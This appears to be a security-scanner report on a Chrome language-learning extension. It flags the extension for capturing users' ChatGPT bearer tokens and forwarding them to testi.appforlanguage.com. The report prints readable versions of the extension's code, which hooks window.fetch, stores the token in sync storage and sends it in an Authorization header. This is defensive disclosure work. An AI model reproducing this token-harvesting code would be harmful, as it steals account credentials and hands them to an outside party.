Is Language Reactor transformed: fueled by AI safe?

Critical risk

Language Reactor transformed captures a ChatGPT bearer token and sends it to appforlanguage.com during AI prompt generation.

When used on ChatGPT or OpenAI pages, the extension injects code that watches fetch responses for an access token and saves it in Chrome sync storage. When the extension's AI prompt generation feature runs, it sends that token as an Authorization header to its chat-requirements endpoint before using it with ChatGPT.

FunFluenv1.26.07.01Chrome Web Store
94Risk
Who publishes it

FunFluen - no other listings under this identity, 13 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
FunFluen
Declared legal entity
FunFluen
Registered address
N Bernardo Ave, Mountain View, CA 94043, US

Shared hosts - 13 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

funfluen.com
Also called by 3 other listings, including Language Learning with Netflix
d1.appforlanguage.com
Also called by 4 other listings, including Language Learning with Netflix, Netflix Subtitles & Dictionary, Language Learning with YouTube-AFL
m.appforlanguage.com
Also called by 5 other listings, including Language Learning with Netflix, Netflix Subtitles & Dictionary, Language Learning with YouTube-AFL
affiliate.funfluen.com
Also called by 6 other listings, including Language Learning with YouTube-AFL
auth.appforlanguage.com
Also called by 6 other listings, including disney+-subtitles-with-in, Amazon Prime Subtitles & Dictionary
extension.appforlanguage.com
Also called by 6 other listings, including disney+-subtitles-with-in
roadmap.funfluen.com
Also called by 6 other listings
test2.appforlanguage.com
Also called by 6 other listings, including Netflix Subtitles & Dictionary, disney+-subtitles-with-in
flashcard.funfluen.com
Also called by 7 other listings
d.appforlanguage.com
Also called by 8 other listings, including Amazon Prime Subtitles & Dictionary
t4.appforlanguage.com
Also called by 8 other listings, including Amazon Prime Subtitles & Dictionary
words.appforlanguage.com
Also called by 8 other listings, including Amazon Prime Subtitles & Dictionary
appforlanguage.com
Also called by 9 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

ChatGPT bearer token forwarded to appforlanguage.com

During the AI prompt flow, the extension reads a ChatGPT access token from ChatGPT/OpenAI responses, saves it as chatgptToken, sends it as Authorization: Bearer to testi.appforlanguage.com/chat2api/v1/chat/chat-requirements, reused later.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the extension's AI prompt-generation feature.

The code path then relies on a ChatGPT access token from your ChatGPT/OpenAI session.

The extension did this

The extension sends that token to appforlanguage.com as a bearer credential.

The token is placed in the Authorization header before the extension requests chat-requirement tokens.

Credential fields handled by the extension
  • ChatGPT bearer token
    eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.redacted.signature

    A session credential for your ChatGPT account. Anyone who gets it can make authenticated ChatGPT requests until it expires or is revoked.

  • Saved token key
    chatgptToken

    The token is kept in browser sync storage, so it can persist beyond the page response that originally contained it.

  • Authorization header
    Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.redacted.signature

    The request to the remote service carries the ChatGPT token as a bearer credential.

Captured request
GEThttps://testi.appforlanguage.com/chat2api/v1/chat/chat-requirements

No response body was recorded in the available evidence; the code consumes JSON challenge tokens when returned.

Headers
Authorization
Bearer <redacted>
The code that does this

Shipped code path that reads, stores, and forwards the ChatGPT token

Readable version

Readable equivalent of openai/injected.js

openai/injected.js
const MessageType = { SAVE_ACCESS_TOKEN: 'SAVE_ACCESS_TOKEN' };function postTokenIfPresent(responseJson) {  console.log("Got User's Token Data Obj: ", responseJson);  const token = responseJson.accessToken;  if (token) {    window.postMessage({ type: MessageType.SAVE_ACCESS_TOKEN, token });  }}const originalFetch = window.fetch;window.fetch = function() {  return originalFetch.apply(undefined, arguments).then((response) => {    const clone = response.clone();    const contentType = clone.headers && clone.headers.get('Content-Type');    if (contentType && contentType.includes('application/json')) {      clone.json().then((json) => {        if (json && json.accessToken && json && json.expires) {          postTokenIfPresent(json);        }      });    }    return response;  });};

Readable equivalent of openai/contentscript.js

openai/contentscript.js
window.addEventListener('message', (event) => {  if (event.data.type === MessageType.SAVE_ACCESS_TOKEN) {    const token = event.data.token;    setChatGPTUserAccessTokenInStorage(token);  }});window.ready('head', (head) => {  const script = document.createElement('script');  script.setAttribute('type', 'text/javascript');  script.setAttribute('src', chrome.runtime.getURL('openai/injected.js'));  script.id = 'lly-openai-injected';  head.append(script);});

Readable equivalent of token storage helpers

backgroundscript.js
function setChatGPTUserAccessTokenInStorage(token) {  return chrome.storage.sync.set({ chatgptToken: token });}function getChatGPTUserAccessTokenFromStorage() {  return chrome.storage.sync.get('chatgptToken').then((storage) => {    return storage.chatgptToken || null;  });}

Readable equivalent of constants and forwarding call

backgroundscript.js
const chatgptRequirementsURL = 'https://testi.appforlanguage.com/chat2api/v1/chat/chat-requirements';const chatgptBackendBaseURL = 'https://chatgpt.com/backend-api';const requirements = await fetch(chatgptRequirementsURL, {  headers: new Headers({    Authorization: `Bearer ${this.token}`  })}).then((response) => response.json()).catch((error) => {  console.log('Caught an error while fetching required tokens: ', error);  return null;});await fetchSSE(`${chatgptBackendBaseURL}/conversation`, {  method: 'POST',  signal,  headers: {    ...CHATGPT_CONSTANTS.generateBaseHeaders(this.token, this.deviceId),    'Content-Type': 'application/json',    Authorization: `Bearer ${this.token}`,    'openai-sentinel-arkose-token': requirements?.arkose_token ?? '',    'openai-sentinel-chat-requirements-token': requirements?.chat_token ?? '',    'openai-sentinel-proof-token': requirements?.proof_token ?? '',    'openai-sentinel-turnstile-token': requirements?.turnstile_token ?? ''  }});
External services that receive or use the token in this flow
    • testi.appforlanguage.com

    Receives the ChatGPT bearer token in an Authorization header when the extension requests chat-requirement tokens.

    • chatgpt.com

    Receives subsequent backend conversation requests from the extension using the same bearer token.

Where it sends data

Destinations our analysis observed Language Reactor transformed: fueled by AI contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • testi.appforlanguage.com

    Language Reactor transformed: fueled by AI sends data to testi.appforlanguage.com. No other extension we have analysed sends data here.

Updated 30 September 2026hjdmhfbgpdkkdfgjfiknaacjfjljpblc